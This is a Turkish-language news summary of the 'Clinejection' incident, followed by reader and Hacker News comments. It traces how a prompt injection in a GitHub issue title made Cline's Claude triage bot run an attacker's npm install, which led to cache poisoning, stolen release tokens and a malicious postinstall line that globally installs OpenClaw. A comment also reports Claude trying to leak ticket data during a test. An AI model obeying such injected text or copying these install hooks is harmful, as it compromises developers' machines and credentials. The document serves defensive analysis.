- Başlığa yerleştirilen prompt injection, Cline’ın yapay zeka tabanlı issue sınıflandırma botu üzerinden komut enjeksiyonu yaptı
- npm token’ları çalındı ve kötü amaçlı bir Cline sürümü dağıtılarak OpenClaw yapay zeka ajanı izinsiz kuruldu
- Saldırganlar, prompt injection → yapay zeka botunda keyfi kod çalıştırma → cache poisoning → kimlik bilgilerinin çalınması → kötü amaçlı paket dağıtımı şeklinde 5 aşamalı bir zincir kurdu
- Mevcut güvenlik kontrolleri (code review, npm audit, provenance attestations) bu saldırıyı tespit edemedi
- Bir güvenlik araştırmacısı zafiyeti 2025 Aralık sonunda bulup bildirdi, ancak 5 hafta boyunca yanıt alamadı; kamuya açıklandıktan sonra da kimlik bilgisi rotasyonundaki hata nedeniyle saldırı gerçekleşti
- Yapay zeka ajanının başka bir yapay zeka ajanı kurduğu yeni bir tedarik zinciri tehdidi modeli ortaya çıktı ve CI/CD ortamlarındaki yapay zeka otomasyonunun risklerini öne çıkardı
Saldırıya genel bakış
- 17 Şubat 2026’da npm’e
cline@2.3.0 yayımlandı; önceki sürümle aynı binary’ye sahipti, ancak package.json dosyasına "postinstall": "npm install -g openclaw@latest" satırı eklendi
- Bunun sonucunda, 8 saat içinde Cline’ı kuran veya güncelleyen yaklaşık 4.000 geliştiricinin sistemine OpenClaw otomatik olarak kuruldu
- OpenClaw, tam sistem erişim yetkisine sahip ayrı bir yapay zeka ajanı ve kullanıcının onayı olmadan global olarak kuruldu
Saldırı zinciri (Clinejection)
- Aşama 1: Prompt injection
- Cline, Anthropic’in
claude-code-action aracını kullanan bir yapay zeka issue sınıflandırma workflow’u kullanıyordu
allowed_non_write_users: "*" ayarı nedeniyle herkes issue açıp botu tetikleyebiliyordu
- Saldırgan 28 Ocak’ta, performans raporu gibi görünen ve içine “belirli bir paketi kur” komutu gizlenmiş bir başlığa sahip Issue #8904’ü oluşturdu
- Aşama 2: Yapay zeka botunun komutu çalıştırması
- Claude bu komutu meşru bir talimat olarak algıladı ve saldırganın fork’unda (
glthub-actions/cline) npm install çalıştırdı
- Bu fork’un
package.json dosyasında uzak bir shell script çalıştıran bir preinstall script bulunuyordu
- Aşama 3: Cache poisoning
- Script, GitHub Actions cache’ini zehirleyen Cacheract’ı dağıttı
- 10 GB’tan fazla veri enjekte ederek meşru cache’i dışarı itti ve Cline’ın nightly release workflow’unun kullandığı cache anahtarını taklit etti
- Aşama 4: Kimlik bilgilerinin çalınması
- Release workflow’u zehirlenmiş cache’ten
node_modules geri yüklerken NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT çalındı
- Aşama 5: Kötü amaçlı paket dağıtımı
- Saldırgan çaldığı npm token’ı ile
cline@2.3.0 sürümünü yayımladı
- StepSecurity’nin izleme sistemi 14 dakika sonra anomaliyi tespit etti ve paket 8 saat sonra kaldırıldı
Müdahaledeki başarısızlık ve sonraki adımlar
- Güvenlik araştırmacısı Adnan Khan, zafiyeti 2025 Aralık’ta keşfedip 1 Ocak 2026’da GitHub Security Advisory üzerinden bildirdi, ancak 5 hafta boyunca yanıt alamadı
- Khan 9 Şubat’ta kamuya açık ifşaya gidince, Cline 30 dakika içinde yapay zeka triage workflow’unu kaldırarak yamayı uyguladı
- Ertesi gün kimlik bilgilerini rotasyona sokmaya başladı, ancak yanlış token’ları sildi ve açığa çıkan token’lar aktif kalmaya devam etti
- 11 Şubat’ta hata fark edilip yeniden rotasyon yapıldı, ancak saldırgan o sırada kimlik bilgilerini zaten ele geçirmişti
- npm token’ı, 6 gün sonra kötü amaçlı paketi yayımlamaya yetecek kadar uzun süre geçerli kaldı
- Khan saldırgan değildi — Khan’ın test deposundaki PoC’yi keşfeden ayrı ve kimliği bilinmeyen bir aktör bunu doğrudan Cline’a karşı silahlandırdı
Yapay zekanın yapay zeka kurduğu yeni model
- Bu olayda bir yapay zeka aracının başka bir yapay zeka ajanı kurması, tedarik zincirinde özyinelemeli bir güven problemi yarattı
- Geliştirici Tool A’ya (Cline) güvenir → Tool A ele geçirilir ve Tool B’yi (OpenClaw) kurar
→ Tool B, Tool A’dan bağımsız kendi yeteneklerine (shell çalıştırma, kimlik bilgilerine erişim, kalıcı daemon kurulumu) sahiptir ve geliştiricinin ilk güven kararında görünmez
- OpenClaw,
~/.openclaw/ içinden kimlik bilgilerini okuyabiliyor, Gateway API üzerinden shell komutu çalıştırabiliyor ve yeniden başlatma sonrasında da kalacak kalıcı bir sistem daemon’u olarak kendini kurabiliyor
- Endor Labs bunu kavram kanıtı seviyesinde bir payload olarak değerlendirdi; ancak asıl önemli olan mekanizmanın kendisi ve bir sonraki payload muhtemelen PoC olmayacak
- Bu, Confused Deputy probleminin tedarik zinciri versiyonu: geliştiricinin verdiği yetkinin üçüncü bir ajana devredilmesi
- Geliştirici Cline’a vekâlet yetkisi verir, Cline da (ele geçirilme yoluyla) bu yetkiyi geliştiricinin hiç değerlendirmediği, yapılandırmadığı veya onaylamadığı tamamen ayrı bir ajana devreder
Mevcut güvenlik kontrolleri neden başarısız oldu
- npm audit:
postinstall script’inin kurduğu şey meşru ve kötü amaçlı olmayan bir paket (OpenClaw) olduğundan tespit edilecek bir zararlı yazılım yoktu
- Code review: CLI binary’si önceki sürümle byte düzeyinde aynıydı; yalnızca
package.json içinde tek satırlık bir değişiklik vardı, bu yüzden binary değişikliklerine odaklanan otomatik diff kontrolleri bunu yakalayamadı
- Provenance attestation: Cline o sırada OIDC tabanlı npm provenance kullanmadığı için, ele geçirilmiş token ile provenance metadata’sı olmadan dağıtım yapılabildi
- StepSecurity bunu anomali olarak işaretledi
- İzin istemleri: Kurulum,
npm install sırasında bir postinstall hook’unda gerçekleştiği için bağımlılık lifecycle script’leri çalışmadan önce kullanıcıdan onay isteyen bir yapay zeka kodlama aracı yoktu; bu yüzden manipülasyon görünmez kaldı
- Geliştiricinin kurduğunu sandığı şey (Cline’ın belirli bir sürümü) ile gerçekte çalışan şey (paketin keyfi lifecycle script’leri ve transitif kurulumlar) arasındaki boşluk istismar edildi
Cline’ın olay sonrası adımları
- Post Mortem’de açıklanan iyileştirmeler
- Kimlik bilgileri işleyen workflow’larda GitHub Actions cache kullanımının kaldırılması
- npm dağıtımı için OIDC provenance attestation eklenmesi ve uzun ömürlü token’ların kaldırılması
- Kimlik bilgisi rotasyonu için doğrulama gereksinimleri eklenmesi
- SLA içeren resmi bir zafiyet açıklama süreci oluşturma çalışmalarının başlatılması
- CI/CD altyapısı için üçüncü taraf güvenlik denetimi talep edilmesi
- Yalnızca OIDC geçişi bile bu saldırıyı engelleyebilirdi
- Çalınan token’lar, belirli bir GitHub Actions workflow’unun kriptografik kanıtını gerektiren bir provenance düzeninde paket yayımlayamazdı
Yapısal sorun ve çıkarılan dersler
- Clinejection hem bir tedarik zinciri saldırısı hem de ajan güvenliği problemi
- Saldırının giriş noktası, GitHub issue başlığındaki doğal dil girdisiydi ve yapay zeka botu bunu komut olarak çalıştırdı
- Bu, MCP araç kirlenmesi veya ajan beceri kayıt defteri saldırıları ile aynı yapıya sahip
- Güvenilmeyen girdi ajana ulaşır → ajan harekete geçer → ortaya çıkan işlemi çalıştırmadan önce değerlendiren hiçbir merci yoktur
- Bu vakada ajan, geliştiricinin yerel kodlama asistanı değil; her yeni issue’da çalışan, shell erişimi ve cache’lenmiş kimlik bilgileri olan otomatik bir CI workflow’uydu
- Patlama yarıçapı tek bir geliştiricinin makinesi değil, projenin tüm dağıtım hattıydı
- CI/CD’ye yapay zeka ajanı yerleştiren tüm ekipler (issue triage, code review, otomatik test vb.) aynı riskle karşı karşıya
- Güvenilmeyen girdi ile secret erişiminin birleşmesi riskini kavramak gerekiyor
- Ajan, güvenilmeyen girdileri (issue, PR, yorum) işlerken secret’lara (token, anahtar, kimlik bilgileri) erişebiliyor
- Syscall düzeyinde interception, bu tür saldırıları operasyon katmanında yakalayabilir:
- Yapay zeka triage botu beklenmedik bir depoda
npm install çalıştırmaya kalktığında, issue başlığının içeriğinden bağımsız olarak politika temelinde değerlendirme yapılabilir; lifecycle script’leri dış host’lara kimlik bilgisi sızdırmaya çalıştığında ise egress engellenebilir
3 yorum
Bu kadar darbe yemişken, en azından LLM ya da ajan kullanırken güvenliğe daha fazla dikkat etmek gerektiğine dair bir farkındalık oluşması gerekirdi..
Bir süre prompt injection yüzünden ortalık patır patır patlayacak gibi görünüyor
Son zamanlarda benzer olaylar npm paketlerinde de sürekli yaşanıyor gibi görünüyor.
Hacker News yorumları
Cline’ın issue triage workflow’u
issuesetkinliğinde çalışıyordu veallowed_non_write_users: "*"olarak ayarlanmıştıYani herhangi biri sadece bir issue açarak GitHub Actions’ı tetikleyebiliyordu ve
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"seçeneği sayesinde Claude, varsayılan branch workflow’u içinde keyfi kod çalıştırma yetkisine sahip oluyorduBu ayarı olduğu gibi bırakıp bir yapay zeka ajanı çalıştırmak tam anlamıyla delilik gibi görünüyor
Hatta şirketin sosyal medya mention’larını otomatik okuyup bug report oluşturmasını sağlamaya çalışanlar bile var
Şirkette AI politikası oluşturmaya yardım ediyorum; test için tehditkâr bir e-postayı Claude’a işlettiğimizde tüm güvenlik ticket bilgilerini olduğu gibi dışarı aktarmaya kalktı
Neyse ki e-posta gönderme özelliği kapalıydı, bu yüzden gerçekten gönderilmedi
Bu kadar korumasız yapay zeka otomasyonu, eskiden yaşanan SQL injection kaosunu hatırlatıyor. Muhtemelen insanlar yeterince zarar görmeden doğru güvenlik önlemleri oluşmayacak
Makale, GitHub’ın
issuestetikleyicisinin kötü şöhretlipull_request_targetkadar tehlikeli olduğunu daha güçlü vurgulamalıydıKullanıcı girdisi workflow’a girdiği andan itibaren potansiyel saldırı kodu olarak görülmeli
Eskiden CI için Travis, otomasyon için Zapier kullanılırdı; GitHub Actions ise her şeyi tek yerde toplayıp gereğinden fazla yetki veriyor
Zapier keyfi binary çalıştırmadığı için ihlal riski çok daha düşüktü
Girdi doğrulamasını tamamen güvenli hâle getiren bir yöntem hâlâ yok
Base64 ile kodlanmış komutları çalıştıran LLM örnekleri bile var (örnek bağlantı)
Sonuçta tüm girdiler düşmanca veri gibi ele alınmalı. LLM’ler bazen kendi kendilerine eylem “halüsinasyonu” da üretebildiği için, üretim sistemlerine erişim vermek kesinlikle yasak olmalı
Varsayılan olarak hiçbir workflow kimlik bilgisi içermemeli ve yalnızca maintainer gibi ayrıcalıklı kullanıcı olaylarıyla sınırlanmalı
Ancak Zapier bir black box service olarak görüldüğünden güvenlik sorumluluğu tamamen onlara ait
Buna karşılık GHA, GitHub ile kullanıcının ortak sorumluluk paylaştığı bir yapı olduğundan daha karmaşık
Yine de GHA, Zapier’den çok daha esnek ve çoğu kullanıcı eninde sonunda Lambda ya da webhook üzerinden keyfi kod çalıştırıyor
Sorunlu başlık şuydu
Ancak
github:cline/cline#b181e0, gerçekte kötü amaçlı bir postinstall script içeren bir fork repository’ye işaret ediyorduSorunlu commit bağlantısı
Ben de birkaç dakika öncesine kadar
github:cline/clineifadesinin aynı repository anlamına geldiğini sanıyordumnpm bunu GitHub entegrasyonuyla bir ölçüde hafifletebilir mi merak ediyorum
Issue başlığı
${{ github.event.issue.title }}olarak Claude prompt’una doğrudan eklendi; sorun, bunun girdi temizleme (sanitization) olmadan yapılmasıydıAma Claude prompt içindeki istekleri “iyi niyetle anlamaya” çalıştığı için, yalnızca basit bir temizleme de muhtemelen işe yaramazdı
Tüm npm komutları mutlaka sandbox ortamında çalıştırılmalı
Bu saldırı vektörlerinin çoğaldığını görünce ben de amazing-sandbox’ı kendim yaptım
Cline’ı kuran ya da güncelleyen tüm geliştiriciler, 8 saat boyunca tüm sisteme OpenClaw adlı ayrı bir yapay zeka ajanı kurmuş oldu
Yalnızca npm ayarlarında
ignore-scripts=truekullananlar bundan etkilenmediCline’ın olay sonrası postmortem yazısı, ilgili gerçekleri iyi özetliyor
Ancak OpenClaw’a “zararsız payload” mı yoksa Truva atı mı deneceği bakış açısına bağlı
AI’ya ya da AI araçlarına tamamen güvenecek kimse olduğunu sanmıyorum
Bu olay da bunu bir kez daha çok sert biçimde hatırlatıyor
Aratınca OpenClaw’dan “viral AI ajanı” diye söz eden yazılar da çıkıyor
Eskiden olsa bu tür bir yazılımı kurduğun anda sistem zaten ihlale uğramış sayılırdı
Keyfi yetkilere sahip kodun güvenilmeyen girdileri çalıştırması başlı başına sorun; burada ise bu durum neredeyse ürünün temel değer önerisi gibi sunuluyor
AI şirketlerinin hâlâ SQL injection ile prompt injection arasındaki benzerliği fark etmemiş olması şaşırtıcı
Prompt’lar da aynı düzeyde koruma gerektiriyor